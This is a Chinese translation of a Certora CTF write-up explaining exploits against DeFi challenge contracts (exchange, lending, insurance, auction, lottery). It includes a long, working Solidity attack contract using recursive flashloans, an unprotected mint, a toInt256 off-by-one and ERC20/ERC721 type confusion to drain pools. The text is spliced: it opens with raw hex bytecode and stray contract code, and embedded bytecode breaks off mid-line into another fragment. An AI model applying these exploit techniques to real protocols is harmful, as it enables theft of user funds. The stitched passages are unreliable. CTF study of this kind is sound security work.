5b0190610361565b565b610417906100d0565b90565b919061042e90600060208501940190610361565b565b600091031261043b57565b61004e565b634e487b7160e01b600052602160045260246000fd5b6002111561046057565b610440565b9061046f82610456565b565b61047a90610465565b90565b61048690610471565b9052565b9160206104ac9294936104a56040820196600083019061047d565b019061036e565b565b90565b6104c56104c06104ca926104ae565b61006e565b6101dc565b90565b634e487b7160e01b600052601160045260246000fd5b6104f26104f8919392936101dc565b926101dc565b820391821161050357565b6104cd565b90565b61051f61051a61052492610508565b61006e565b6101dc565b90565b9395909692949194610538816100dc565b602063095ea7b391610549896102b9565b906105686000889561057361055c610043565b97889687958694610313565b84526004840161037b565b03925af18015610d0b57610cdf575b50602061058e876102b9565b636e553f6594906105bb60006105a3306103b0565b976105c66105af610043565b998a9687958694610313565b8452600484016103ea565b03925af1928315610cda5761063193610cae575b506105e4866102b9565b63095ea7b3906105f38961040e565b9160206105ff8a6102b9565b6370a0823190610626610611306103b0565b9261061a610043565b9a8b9485938493610313565b83526004830161041a565b03915afa958615610ca957600096610c6c575b509061066660006020949361067161065a610043565b998a9687958694610313565b84526004840161037b565b03925af1928315610c675761071c93610c3b575b5061069f6106996106946100a5565b61014c565b9161014c565b14600014610c345760005b846106c46106be6106b96100a5565b61014c565b9161014c565b14600014610c2d5760005b956106d98861040e565b60206106ea632776a6ba94936102b9565b6370a08231906107116106fc306103b0565b92610705610043565b998a9485938493610313565b83526004830161041a565b03915afa948515610c2857600095610bf8575b50803b15610bf35761075560008094610760610749610043565b98899687958694610313565b84526004840161048a565b03925af1918215610bee5761078592610bc1575b5061077f60056104b1565b906104e3565b9161078f816100dc565b602063095ea7b3916107a0896102b9565b906107c060008019956107cb6107b4610043565b97889687958694610313565b84526004840161037b565b03925af18015610bbc57610b90575b506107e4866102b9565b63b9f412b090803b15610b8b5761080891600091610800610043565b938492610313565b825281838161081960048201610274565b03925af18015610b8657610b59575b505b8261083e610838600061050b565b916101dc565b1115610a44576108686020610852886102b9565b633b1d21a290610860610043565b938492610313565b8252818061087860048201610274565b03915afa908115610a3f57600091610a11575b508361089f610899836101dc565b916101dc565b11600014610a0a575b926108b28661040e565b9063137b0fd1868693803b15610a05576108e0600080946108eb6108d4610043565b98899687958694610313565b84526004840161048a565b03925af1918215610a0057610907926109d3575b5084906104e3565b928361091c610916600061050b565b916101dc565b03610928575b5061082a565b8361093b610935836101dc565b916101dc565b106000146109ce5750825b6020610951886102b9565b636e553f65929061097e6000610966306103b0565b95610989610972610043565b97889687958694610313565b8452600484016103ea565b03925af180156109c95761099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IERC20(flashloanData.asset).transfer(address(flashLoaner), flashloanData.repayAmount);
            }
        } else if (flashloanData.step == 4) {
            if (flashloanData.depth > 0) {
                uint256 nextBorrowAmount = (flashloanData.borrowAmount) * 10 - 1;
                uint256 cashLeft = lendingPoolA1.getCash();
                if (cashLeft < nextBorrowAmount) nextBorrowAmount = cashLeft;

FlashloanData memory nextFlashloanData = FlashloanData({
                    step: flashloanData.step,
                    asset: flashloanData.asset,
                    repayAmount: flashloanData.repayAmount,
                    borrowAmount: nextBorrowAmount,
                    depth: flashloanData.depth - 1
                });
                flashLoaner.flashloan(IERC20(nextFlashloanData.asset), nextBorrowAmount, address(this), abi.encode(nextFlashloanData));
            } else {
                uint256 totalShares = lendingPoolA1.totalSupply();
                IERC20(flashloanData.asset).approve(address(lendingPoolA1), type(uint256).max);
                lendingPoolA1.mint(totalShares * 1000000, address(this));

IERC20(flashloanData.asset).transfer(address(flashLoaner), flashloanData.repayAmount + 1);
            }
        } else if (flashloanData.step == 5) {
            if (flashloanData.depth > 0) {
                uint256 nextBorrowAmount = (flashloanData.borrowAmount) * 10 - 1;
                uint256 cashLeft = lendingPoolB1.getCash();
                if (cashLeft < nextBorrowAmount) nextBorrowAmount = cashLeft;

FlashloanData memory nextFlashloanData = FlashloanData({
                    step: flashloanData.step,
                    asset: flashloanData.asset,
                    repayAmount: flashloanData.repayAmount,
                    borrowAmount: nextBorrowAmount,
                    depth: flashloanData.depth - 1
                });
                flashLoaner.flashloan(IERC20(nextFlashloanData.asset), nextBorrowAmount, address(this), abi.encode(nextFlashloanData));
            } else {
                uint256 totalShares = lendingPoolB1.totalSupply();
                IERC20(flashloanData.asset).approve(address(lendingPoolB1), type(uint256).max);
                lendingPoolB1.mint(totalShares * 1000000, address(this));

IERC20(flashloanData.asset).transfer(address(flashLoaner), flashloanData.repayAmount);
            }
        }
    }
}
```

>- 原文链接： [hackmd.io/@billh/Certora...](https://hackmd.io/@billh/CertoraCTF)
>- 登链社区 AI 助手，为大家转译优秀英文文章，如有翻译不通的地方，还请包涵～

交易所

漏洞搜寻

然后我注意到 ExchangeVault.sol 中 toInt256 的实现有些可疑：

function toInt256(uint256 value) internal pure returns (int256 result) {
    assembly {
        let max := shl(255, 1)  // max = 2^255
        if gt(value, max) { revert(0, 0) }
        result := value
    }
}

这里的问题很微妙但至关重要：gt(value, max) 检查 value > max 是否成立，这意味着当 value == 2^255 时，检查通过，我们得到 result = 2^255。但 2^255 在二进制补码中实际上是 -2^255（int256 的最小值）。这是一个经典的差一错误。它应该是 if iszero(lt(value, max)) 才能正确拒绝 2^255。

一个攻击想法在我脑海中形成：利用这个漏洞通过将 2^255 传递给 _takeDebt 函数来破坏信用和债务核算。当调用 _takeDebt(token, 2^255) 时，它会执行 _accountDelta(token, toInt256(2^255))，这将导致 _accountDelta(token, -2^255)。这将给我们一个巨大的信用而不是债务！

然而，找到实际触发它的路径很棘手。大多数路径都涉及费用计算，而 2^255 * fee / 10000 会溢出。我花了至少 2 天时间盯着这个挑战，后来确信除了这个合约之外还有其他东西。

缺失的部分

所以我开始检查其他组件。部署脚本看起来很干净。然后我浏览了 token 合约，NISC.sol 中的 _update 函数引起了我的注意：

function _update(address from, address to, uint256 value) internal override {
    if (from == to) {
        return;  // Skip self-transfers for "gas optimization"
    }
    super._update(from, to, value);
}

这个看起来无害的“gas 优化”实际上是一个关键漏洞。当 from == to 时，转移返回成功，而实际上没有检查余额或移动任何 token！

攻击

有了这些知识，攻击变得非常优雅：

调用 exchangeVault.sendTo(nisc, address(exchangeVault), 1 << 255)
由于 from == to（vault 到 vault），NISC 转移成功，无需任何余额检查
由于 toInt256 中的错误，vault 调用 _takeDebt(nisc, 2^255)，实际上记录了 2^255 的信用
我们现在在系统中有巨额信用。交换我们想要的所有 USDC
用另一个 sendTo 清除剩余的 delta 以通过 transient 修饰符检查

借贷

借贷协议是一个漏洞宝库。让我们系统地梳理一遍。

观察 #1：闪电贷减少了池子的现金

首先引起我注意的是闪电贷操作直接操纵了 _poolCash：

function flashloanWithdraw(uint256 amount) external onlyFlashloanContract nonReentrant returns (uint256) {
    require(amount &lt;= _poolCash, "LendingPool: Not enough cash for flashloan");
    _flashloanActive = true;
    _poolCash -= amount;
    IERC20(asset()).safeTransfer(msg.sender, amount);
    return amount;
}

这很可疑，因为 _poolCash 直接影响了池子的 totalAssets() 计算，进而影响了份额定价。任何让我们在份额铸造期间人为地降低 totalAssets() 的方法都是潜在的利用向量。

观察 #2：缺少 ERC4626 覆盖

我注意到的另一件事是 LendingPool 继承自 ERC4626，但没有覆盖 mint 函数。与此同时，deposit、withdraw 和 redeem 都受到 notDuringFlashloan 修饰符的保护：

function deposit(uint256 assets, address receiver) public override nonReentrant notDuringFlashloan returns (uint256 shares) {
    // ...protected
}

// But mint() is inherited directly from ERC4626 without protection!

显然，这是为了防止在闪电贷期间（当 _poolCash 暂时减少时）操纵份额价格而采取的保护措施。但是 mint() 却漏网了。

观察 #3：闪电贷状态不同步

闪电贷机制使用一个布尔值 _flashloanActive 来跟踪闪电贷是否正在进行中：

function flashloanReturn(uint256 amount) external onlyFlashloanContract nonReentrant {
    _poolCash += amount;
    _flashloanActive = false;
}

问题是：_flashloanActive 是一个布尔值，而不是一个计数器。如果我们递归地调用闪电贷：

外部闪电贷：_flashloanActive = true
内部闪电贷：_flashloanActive = true（无操作）
内部闪电贷返回：_flashloanActive = false ← 漏洞！
现在我们可以在外部闪电贷仍然处于活动状态时绕过 notDuringFlashloan

观察 #4：闪电贷费用减少

闪电贷有一个令人痛苦的 10% 的费用。但是，由于闪电贷可以递归调用，并且合约使用余额检查而不是跟踪个人还款，我们可以利用这一点：

require(token.balanceOf(address(this)) >= initialBalance + fee, "FlashLoaner: Insufficient repayment");

整合

核心思想很简单：在闪电贷期间，当 totalAssets() 返回被低估的值时，调用 mint，然后用我们获得的份额耗尽池子。

由于 totalAssets() 由 _poolCash 加上未偿债务组成，我们可以通过减少债务部分来进一步优化。这意味着在攻击前清算活动中的头寸。为了清算一个头寸，我们使用闪电贷来操纵 _poolCash，这会影响抵押品价值的计算。结合 _flashloanActive 的绕过，我们甚至可以在活动闪电贷期间执行清算。

攻击很复杂，但核心漏洞很明显：未受保护的 mint()，用于闪电贷跟踪的布尔值而不是计数器，以及支持费用减少的基于余额的费用检查。

社区保险

我们可以将这个挑战分为两个部分：耗尽已存入的资金和耗尽奖励 token。

耗尽已存入的资金

耗尽奖励 Token：63/64 Gas 规则

这就是有趣的地方。看看 _update 函数：

function _update(address from, address to, uint256 value) internal override {
    // ... transfer logic ...
    super._update(from, to, value);

    // Update rewards wrapped in try/catch
    if (from != address(0)) {
        uint256 freeFrom = balanceOf(from) + value - originalShares;
        try IRewardDistributor(rewardDistributor).updateReward(from, freeFrom, totalFree) {} catch {}
    }

    if (to != address(0)) {
        uint256 freeTo = balanceOf(to) - withdrawRequests[to].shares - value;
        try IRewardDistributor(rewardDistributor).updateReward(to, freeTo, totalFree) {} catch {}
    }
}

为什么要将 updateReward 包装在 try/catch 中？这种看似防御性的模式基于 EVM 的 63/64 gas 规则打开了一个有趣的攻击向量。

当进行外部调用时，EVM 最多只转发剩余 gas 的 63/64。这意味着：

如果我们仔细控制 gas，我们可以使 updateReward 耗尽 gas
catch 块捕获 OOG 异常
剩余的 1/64 的 gas 足以完成其余的执行
结果：转移成功，但 userRewardPerTokenPaid 没有更新！

攻击

我们使用仔细控制的 gas 进行存款，以便 updateReward 调用由于 OOG 而失败，但存款本身成功。我们的份额余额增加，但 userRewardPerTokenPaid 保持在 0。然后我们可以声明协议中所有可用的奖励。

多年前，我在一次私人安全审查中发现了一个类似的在 try/catch 中的 OOG 问题。jinu 还有一个与此模式相关的很棒的 CTF 挑战：https://dreamhack.io/wargame/challenges/1322。所以这一个花了我最少的时间来解决。有时过去的经验真的很有用！

投资

与其他挑战相比，这个挑战非常简单。

漏洞

查看 InvestmentVault.sol，IdleMarket 在市场排序中有一个特殊的位置：

存款流程：市场按顺序填充，IdleMarket 最后
取款流程：市场按相反的顺序耗尽，IdleMarket 首先

function _supplyFunds(uint256 assets) internal {
    for (uint256 i = 0; i &lt; markets.length; i++) {  // IdleMarket is last
        // ...
    }
}

function _withdrawFunds(uint256 assets) internal {
    for (uint256 i = markets.length-1 ; i >=0 ; i--) {  // IdleMarket is first to drain
        // ...
    }
}

攻击

拍卖

这个挑战展示了一种经典的类型混淆漏洞。

漏洞

在 createAuction 中，该函数接受一个 IERC721 nftContract 参数，但没有验证它实际上是否为 ERC721：

function createAuction(
    IERC721 nftContract,
    uint256 tokenId,
    // ...
) external nonReentrant returns (uint256 auctionId) {
    // ...
    nftContract.transferFrom(msg.sender, address(vault), tokenId);
    // ...
}

ERC20 和 ERC721 都有 transferFrom(address, address, uint256)，具有相同的函数签名。关键区别在于 ERC721 将第三个参数解释为 tokenId，而 ERC20 将其解释为 amount。

我们可以通过将支付 token 地址作为 nftContract 参数来利用这一点。这会将支付 token 转移到 vault，从而膨胀 AuctionToken 的份额价值（因为现在每个份额代表更多的基础 token）。然后我们可以用最少的 AuctionToken 份额进行竞标，最后使用 _settleAuction 将相同数量的支付 token 转移出去。凭空得来的免费资金。

获取彩票 #0

获取彩票 #1 和 #2

对于彩票 #1 和 #2，情况更加复杂。vault 已经包含一些 NISC token，并且我们的 NISC 余额有限，因此通货膨胀的潜力受到限制。我们需要优化。

方法是：

首先，减少 vault 中的 NISC，同时增加我们自己的 NISC 余额
通过 depositERC20 存入一些 NISC，然后创建一个拍卖来膨胀 NISC AuctionToken 的份额价值
存款金额和拍卖金额可以通过求解最佳比率的方程来计算
调用 withdrawERC20 以使用膨胀的份额提取额外的 NISC
结算拍卖以收回我们的 NISC

这里有一个重要的注意事项：一旦我们调用 settleAuction，合约就会执行 setApprovalForNFT，由于我们的 nftContract 实际上是 NISC 地址，因此会转换为覆盖现有批准金额的 approve 调用。如果我们重复此过程，withdrawERC20 将会因批准不足而失败。因此，我们需要仔细计划。

彩票

彩票挑战是函数签名冲突的一个例子。

初始观察

当我第一次看到这个挑战时，感觉有些不对劲。LotteryExtension.sol 的内容很容易放入 Lottery.sol 中。为什么还要使用 delegatecall？

// Lottery.sol
fallback() external {
    require(address(extension) != address(0), "Extension not set");
    (bool success, bytes memory returnData) = address(extension).delegatecall(msg.data);
    // ...
}

我尝试将 LotteryExtension.sol 合并到 Lottery.sol 中……但由于函数签名重复，它无法编译！

冲突

由于函数选择器是从函数名称和参数类型计算出来的，因此对这些函数的调用将直接匹配主合约的实现，永远不会触发 fallback() 来访问扩展。

解数学题

每个 solve 函数都需要找到 x，使得：

x² ≡ magic (mod N)

其中 N 是两个素数的乘积（RSA 风格），这使得它成为一个二次剩余问题。解决方案：

将 N 分解为 p * q
使用 Tonelli-Shanks 算法解 x² ≡ magic (mod p)
使用 Tonelli-Shanks 算法解 x² ≡ magic (mod q)
使用中国剩余定理组合解

由于我们有三张彩票（通过拍卖漏洞购买），我们选择三个没有冲突的高奖励挑战并解决它们。每次成功解决都会产生 magic * 10^6 USDC 的奖金，外加基本奖金。对于一些数论来说还不错！

解决方案

我没有花太多时间优化攻击合约的可读性或效率，所以代码不是很干净。如果你无论如何都有兴趣查看：

我的解决方案

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "@openzeppelin/contracts/utils/math/Math.sol";
import "./interfaces/ILotteryExtension.sol";
import "./interfaces/IAuctionManager.sol";
import "./interfaces/IAuctionToken.sol";
import "./interfaces/IAuctionVault.sol";
import "./interfaces/ICommunityInsurance.sol";
import "./interfaces/IExchange.sol";
import "./interfaces/IExchangeVault.sol";
import "./interfaces/IFlashLoaner.sol";
import "./interfaces/IIdleMarket.sol";
import "./interfaces/IInvestmentVault.sol";
import "./interfaces/IInvestmentVaultFactory.sol";
import "./interfaces/ILendingFactory.sol";
import "./interfaces/ILendingManager.sol";
import "./interfaces/ILendingPool.sol";
import "./interfaces/ILottery.sol";
import "./interfaces/ILotteryCommon.sol";
import "./interfaces/ILotteryStorage.sol";
import "./interfaces/IPool.sol";
import "./interfaces/IPriceOracle.sol";
import "./interfaces/IRewardDistributor.sol";
import "./interfaces/IStrategy.sol";
import "./interfaces/IWeth.sol";
import "./Exchange/PoolHelper.sol";
import "hardhat/console.sol";

interface ILendingPoolBorrower3 {
    function borrow(
        IERC20 debtToken,
        ILendingPool debtTokenPool,
        ILendingPool collateralPool,
        IERC20 collateralToken,
        ILendingManager lendingManager,
        uint256 collateralAmount,
        uint256 debtAmount
    ) external;
}

interface ICommunityInsuranceWithBadDebt3 {
    function liquidateBadDebt(ILendingManager manager, address user, ILendingManager.AssetType assetType) external;
}

contract LendingPoolBorrower3 is ILendingPoolBorrower3 {
    IERC20 public constant usdc = IERC20(0xBf1C7F6f838DeF75F1c47e9b6D3885937F899B7C);

    function borrow(
        IERC20 debtToken,
        ILendingPool debtTokenPool,
        ILendingPool collateralPool,
        IERC20 collateralToken,
        ILendingManager lendingManager,
        uint256 collateralAmount,
        uint256 debtAmount
    ) public {
        collateralToken.approve(address(collateralPool), collateralAmount);
        collateralPool.deposit(collateralAmount, address(this));
        collateralPool.approve(address(lendingManager), collateralPool.balanceOf(address(this)));
        ILendingManager.AssetType collateralType = collateralToken == usdc ? ILendingManager.AssetType.A : ILendingManager.AssetType.B;
        ILendingManager.AssetType debtType = debtToken == usdc ? ILendingManager.AssetType.A : ILendingManager.AssetType.B;
        lendingManager.lockCollateral(collateralType, collateralPool.balanceOf(address(this)));

        uint256 remaining = debtAmount - 5;
        debtToken.approve(address(debtTokenPool), type(uint256).max);
        debtTokenPool.updateIndex();
        while (remaining > 0) {
            uint256 cashLeft = debtTokenPool.getCash();
            uint256 borrowAmount = remaining > cashLeft ? cashLeft : remaining;
            lendingManager.borrow(debtType, borrowAmount);
            remaining -= borrowAmount;
            if (remaining != 0) {
                uint256 depositAmount = remaining &lt; borrowAmount ? remaining : borrowAmount;
                debtTokenPool.deposit(depositAmount, address(this));
            }
        }
        debtToken.transfer(msg.sender, debtToken.balanceOf(address(this)));
    }
}

contract AttackContract3 is IFlashLoanReceiver {
    IERC20 public constant usdc = IERC20(0xBf1C7F6f838DeF75F1c47e9b6D3885937F899B7C);
    IERC20 public constant nisc = IERC20(0x20e4c056400C6c5292aBe187F832E63B257e6f23);
    IWeth public constant weth = IWeth(0x13d78a4653e4E18886FBE116FbB9065f1B55Cd1d);
    ILottery public constant lottery = ILottery(0x6D03B9e06ED6B7bCF5bf1CF59E63B6eCA45c103d);
    ILotteryExtension public constant lotteryExtension = ILotteryExtension(0x6D03B9e06ED6B7bCF5bf1CF59E63B6eCA45c103d);
    IAuctionVault public constant auctionVault = IAuctionVault(0x9f4a3Ba629EF680c211871c712053A65aEe463B0);
    IAuctionManager public constant auctionManager = IAuctionManager(0x228F0e62b49d2b395Ee004E3ff06841B21AA0B54);
    IStrategy public constant lendingPoolStrategy = IStrategy(0xC5cBC10e8C7424e38D45341bD31342838334dA55);
    IExchangeVault public constant exchangeVault = IExchangeVault(0x776B51e76150de6D50B06fD0Bd045de0a13D68C7);

    // Replaced storage arrays with individual constants
    IPool public constant productPool0 = IPool(0x536BF770397157efF236647d7299696B90Bc95f1);
    IPool public constant productPool1 = IPool(0x6cAC85Dc0D547225351097Fb9eEb33D65978bb73);
    IPriceOracle public constant priceOracle = IPriceOracle(0x9231ffAC09999D682dD2d837a5ac9458045Ba1b8);
    ILendingFactory public constant lendingFactory = ILendingFactory(0xdC5b6f8971AD22dC9d68ed7fB18fE2DB4eC66791);

    ILendingManager public constant lendingManager0 = ILendingManager(0x66bf9ECb0B63dC4815Ab1D2844bE0E06aB506D4f);
    ILendingManager public constant lendingManager1 = ILendingManager(0x5FdA5021562A2Bdfa68688d1DFAEEb2203d8d045);

    ILendingPool public constant lendingPoolA0 = ILendingPool(0xfAC23E673e77f76c8B90c018c33e061aE8F8CBD9);
    ILendingPool public constant lendingPoolA1 = ILendingPool(0xFa6c040D3e2D5fEB86Eda9e22736BbC6eA81a16b);

    ILendingPool public constant lendingPoolB0 = ILendingPool(0xb022AE7701DF829F2FF14B51a6DFC8c9A95c6C61);
    ILendingPool public constant lendingPoolB1 = ILendingPool(0x537B309Fec55AD15Ef2dFae1f6eF3AEBD80d0d9c);

    IFlashLoaner public constant flashLoaner = IFlashLoaner(0x5861a917A5f78857868D88Bd93A18A3Df8E9baC7);
    IInvestmentVaultFactory public constant investmentFactory = IInvestmentVaultFactory(0xd526270308228fDc16079Bd28eB1aBcaDd278fbD);
    IIdleMarket public constant usdcIdleMarket = IIdleMarket(0xB926534D703B249B586A818B23710938D40a1746);

    IInvestmentVault public constant investmentVault0 = IInvestmentVault(0x99828D8000e5D8186624263f1b4267aFD4E27669);
    IInvestmentVault public constant investmentVault1 = IInvestmentVault(0xe7A23A3Bf899f67e0B40809C8f449A7882f1a26E);

    ICommunityInsurance public constant communityInsurance = ICommunityInsurance(0x83f3997529982fB89C4c983D82d8d0eEAb2Bb034);
    IRewardDistributor public constant rewardDistributor = IRewardDistributor(0x73a8004bCD026481e27b5B7D0d48edE428891995);
    PoolHelper public constant poolHelper = PoolHelper(0x910B4Fb4E32b234DAADC4Cb7a43C3D56A46Ca220);

    struct FlashloanData {
        uint256 step;
        address asset;
        uint256 repayAmount;
        uint256 borrowAmount;
        uint256 depth;
    }

    uint256 internal inFlashloan = 0;
    uint256 internal lockedCollateral = 0;
    address internal wethBorrower;
    address internal niscBorrower;
    address internal usdcBorrower;

    constructor() payable {}

    function Attack() public {
        bytes memory cd = abi.encodeCall(AttackContract3.swapCallback, ());
        exchangeVault.unlock(cd);

        exploitExchange();
        exploitLottery();

        usdc.transfer(msg.sender, usdc.balanceOf(address(this)));
        nisc.transfer(msg.sender, nisc.balanceOf(address(this)));
        weth.transfer(msg.sender, weth.balanceOf(address(this)));
        payable(msg.sender).transfer(address(this).balance);
    }

    function exploitLottery() internal {
        uint256 usdcBalanceBefore = usdc.balanceOf(address(this));
        address(lottery).call(abi.encodeCall(ILotteryExtension.solveMulmod89443, (0, 50026629318756762526651012396395378096102264596730646887809992031890314654744)));
        uint256 usdcBalanceAfter = usdc.balanceOf(address(this));
        usdcBalanceBefore = usdcBalanceAfter;
        address(lottery).call(abi.encodeCall(ILotteryExtension.solveMulmod90174, (1, 40289530849315046632803046237695507888814621779004955301521665942329666711931)));
        usdcBalanceAfter = usdc.balanceOf(address(this));
        usdcBalanceBefore = usdcBalanceAfter;
        address(lottery).call(abi.encodeCall(ILotteryExtension.solveMulmod93740, (2, 70795557551797021934431357608483109706359776929814102558092893513146276451091)));
        usdcBalanceAfter = usdc.balanceOf(address(this));
    }

    function exploitExchange() internal {
        bytes memory cd = abi.encodeCall(AttackContract3.swapCallback2, ());
        exchangeVault.unlock(cd);
        weth.approve(address(poolHelper), type(uint256).max);
        poolHelper.swap(productPool0, weth, usdc, 5e18, 0, address(this));
    }

    function swapCallback2() external {
        uint256 amount = 1 &lt;&lt; 255;
        exchangeVault.sendTo(nisc, address(exchangeVault), amount);
        exchangeVault.swapInPool(productPool1, nisc, usdc, 1e45, 0);
        int256 usdcDelta = exchangeVault.tokenDelta(usdc);
        exchangeVault.sendTo(usdc, address(this), uint256(-usdcDelta));
        exchangeVault.sendTo(nisc, address(this), nisc.balanceOf(address(exchangeVault)));

        int256 niscDelta = exchangeVault.tokenDelta(nisc);
        exchangeVault.sendTo(nisc, address(exchangeVault), uint256(-niscDelta));
    }

    function exploit() public {
        usdc.approve(address(investmentVault0), type(uint256).max);
        usdc.approve(address(investmentVault1), type(uint256).max);
        investmentVault0.deposit(50000e6, address(this));
        investmentVault1.deposit(50000e6, address(this));
        investmentVault0.redeem(investmentVault0.balanceOf(address(this)), address(this), address(this));
        investmentVault1.redeem(investmentVault1.balanceOf(address(this)), address(this), address(this));

        bytes memory deployCode =
            hex"6080604052341561023a57610015565b60405190565b600080fd5b60018060a01b031690565b90565b61003c6100376100419261001a565b610025565b61001a565b90565b61004d90610028565b90565b61005990610044565b90565b90565b90565b61007661007161007b9261005c565b610025565b61005f565b90565b601f801991011690565b634e487b7160e01b600052604160045260246000fd5b906100a89061007e565b810190811060018060401b038211176100c057604052565b610088565b906100d86100d161000f565b928361009e565b565b60018060401b0381116100f05760208091020190565b610088565b90610107610102836100da565b6100c5565b918252565b369037565b9061013661011e836100f5565b9260208061012c86936100da565b920191039061010c565b565b61014190610028565b90565b61014d90610138565b90565b600080fd5b60e01b90565b600080fd5b600091031261016b57565b61015b565b5190565b60209181520190565b60200190565b61018c9061005f565b9052565b9061019d81602093610183565b0190565b60200190565b906101c46101be6101b784610170565b8093610174565b9261017d565b9060005b8181106101d55750505090565b9091926101ee6101e86001928651610190565b946101a1565b91019190916101c8565b61```
uint256 cash = lendingPoolA0.getCash();
        uint256 flashloanFee;
        uint256 depth = 6;
        uint256 curCash = cash;
        uint256 curStep = 0;
        for (uint256 i = 0; i &lt; depth; i++) {
            flashloanFee = curCash / 10 + 1;
            curCash = flashloanFee;
        }
        FlashloanData memory flashloanData = FlashloanData({
            step: curStep++,
            asset: address(usdc),
            repayAmount: cash + curCash / 10 + 1,
            borrowAmount: curCash,
            depth: depth
        });
        flashLoaner.flashloan(usdc, curCash, address(this), abi.encode(flashloanData));

        lendingPoolA0.redeem(lendingPoolA0.balanceOf(address(this)), address(this), address(this));

        address lendingUserB = 0x11c8738979A536F9F9AEE32d1724D62ac1adb7De;
        weth.approve(address(lendingManager0), type(uint256).max);
        lendingManager0.liquidate(ILendingManager.AssetType.B, lendingUserB);
        ICommunityInsuranceWithBadDebt3(address(communityInsurance)).liquidateBadDebt(lendingManager0, wethBorrower, ILendingManager.AssetType.B);

        cash = lendingPoolB0.getCash();
        curCash = cash;
        for (uint256 i = 0; i &lt; depth; i++) {
            flashloanFee = curCash / 10 + 1;
            curCash = flashloanFee;
        }
        flashloanData = FlashloanData({
            step: curStep++,
            asset: address(weth),
            repayAmount: cash + curCash / 10 + 1,
            borrowAmount: curCash,
            depth: depth
        });
        flashLoaner.flashloan(weth, curCash, address(this), abi.encode(flashloanData));
        lendingPoolB0.redeem(lendingPoolB0.balanceOf(address(this)), address(this), address(this));

        lendingPoolB0.deposit(1e18, address(this));
        lendingPoolB0.approve(address(lendingManager0), type(uint256).max);
        lockedCollateral = lendingPoolB0.balanceOf(address(this));
        lendingManager0.lockCollateral(ILendingManager.AssetType.B, lockedCollateral);
        lendingManager0.borrow(ILendingManager.AssetType.A, lendingPoolA0.getCash());

        cash = lendingPoolA1.getCash();
        curCash = cash;
        for (uint256 i = 0; i &lt; depth; i++) {
            flashloanFee = curCash / 10 + 1;
            curCash = flashloanFee;
        }
        flashloanData = FlashloanData({
            step: curStep++,
            asset: address(usdc),
            repayAmount: cash + curCash / 10 + 1,
            borrowAmount: curCash,
            depth: depth
        });
        flashLoaner.flashloan(usdc, curCash, address(this), abi.encode(flashloanData));

        lendingManager0.repay(ILendingManager.AssetType.A, lendingManager0.getDebt(ILendingManager.AssetType.A, address(this)));
        lendingManager0.unlockCollateral(ILendingManager.AssetType.B, lockedCollateral);
        lockedCollateral = 0;
        lendingPoolB0.redeem(lendingPoolB0.balanceOf(address(this)), address(this), address(this));

        lendingPoolA0.deposit(1000000e6, address(this));
        lendingPoolA0.approve(address(lendingManager0), type(uint256).max);
        lockedCollateral = lendingPoolA0.balanceOf(address(this));
        lendingManager0.lockCollateral(ILendingManager.AssetType.A, lockedCollateral);
        lendingManager0.borrow(ILendingManager.AssetType.B, lendingPoolB0.getCash());

        uint256[] memory insuranceAssets = communityInsurance.totalAssets();
        ILendingPoolBorrower3 borrower = deployLendingPoolBorrower();
        uint256 collateralAmount = 250000e18;
        uint256 debtAmount = insuranceAssets[0];
        nisc.transfer(address(borrower), collateralAmount);
        borrower.borrow(usdc, lendingPoolA1, lendingPoolB1, nisc, lendingManager1, collateralAmount, debtAmount);
        usdcBorrower = address(borrower);

        cash = lendingPoolB1.getCash();
        curCash = cash;
        for (uint256 i = 0; i &lt; depth; i++) {
            flashloanFee = curCash / 10 + 1;
            curCash = flashloanFee;
        }
        flashloanData = FlashloanData({
            step: curStep++,
            asset: address(nisc),
            repayAmount: cash + curCash / 10 + 1,
            borrowAmount: curCash,
            depth: depth
        });
        flashLoaner.flashloan(nisc, curCash, address(this), abi.encode(flashloanData));

        weth.approve(address(lendingManager0), type(uint256).max);
        lendingManager0.repay(ILendingManager.AssetType.B, lendingManager0.getDebt(ILendingManager.AssetType.B, address(this)));
        lendingManager0.unlockCollateral(ILendingManager.AssetType.A, lockedCollateral);
        lockedCollateral = 0;
        lendingPoolA0.redeem(lendingPoolA0.balanceOf(address(this)), address(this), address(this));

        lendingPoolB0.deposit(weth.balanceOf(address(this)), address(this));
        lendingPoolB0.approve(address(lendingManager0), type(uint256).max);
        lockedCollateral = lendingPoolB0.balanceOf(address(this));
        lendingManager0.lockCollateral(ILendingManager.AssetType.B, lockedCollateral);
        lendingManager0.borrow(ILendingManager.AssetType.A, lendingPoolA0.getCash());

        cash = lendingPoolA1.getCash();
        curCash = cash;
        for (uint256 i = 0; i &lt; depth; i++) {
            flashloanFee = curCash / 10 + 1;
            curCash = flashloanFee;
        }
        flashloanData = FlashloanData({
            step: curStep++,
            asset: address(usdc),
            repayAmount: cash + curCash / 10 + 1,
            borrowAmount: curCash,
            depth: depth
        });
        flashLoaner.flashloan(usdc, curCash, address(this), abi.encode(flashloanData));
        lendingPoolA1.redeem(lendingPoolA1.balanceOf(address(this)), address(this), address(this));
        lendingManager0.repay(ILendingManager.AssetType.A, lendingManager0.getDebt(ILendingManager.AssetType.A, address(this)));
        lendingManager0.unlockCollateral(ILendingManager.AssetType.B, lockedCollateral);
        lockedCollateral = 0;
        lendingPoolB0.redeem(lendingPoolB0.balanceOf(address(this)), address(this), address(this));

        cash = lendingPoolB1.getCash();
        curCash = cash;
        for (uint256 i = 0; i &lt; depth; i++) {
            flashloanFee = curCash / 10 + 1;
            curCash = flashloanFee;
        }
        flashloanData = FlashloanData({
            step: curStep++,
            asset: address(nisc),
            repayAmount: cash + curCash / 10 + 1,
            borrowAmount: curCash,
            depth: depth
        });
        flashLoaner.flashloan(nisc, curCash, address(this), abi.encode(flashloanData));
        lendingPoolB1.redeem(lendingPoolB1.balanceOf(address(this)), address(this), address(this));

        exploitAuction();
    }

    receive() external payable {}

    function exploitAuction() internal {
        weth.approve(address(auctionManager), type(uint256).max);
        usdc.approve(address(auctionManager), type(uint256).max);
        auctionManager.depositERC20(usdc, 0.1e6);
        auctionManager.depositERC20(weth, 100);
        uint256 usdcInAuction = usdc.balanceOf(address(this));
        uint256 auctionId = auctionManager.createAuction(IERC721(address(usdc)), usdcInAuction, 0, 0, weth, 1);

        auctionManager.bid(0, 200000e6);
        uint256 withdrawableUsdc = usdc.balanceOf(address(auctionVault)) - usdcInAuction;
        auctionManager.withdrawERC20(usdc, withdrawableUsdc);
        auctionManager.bid(auctionId, 1);

        nisc.approve(address(auctionManager), type(uint256).max);
        auctionManager.depositERC20(nisc, 177000e18);
        // auctionManager.depositERC20(nisc, 177100e18);
        uint256 niscInAuction = nisc.balanceOf(address(this));
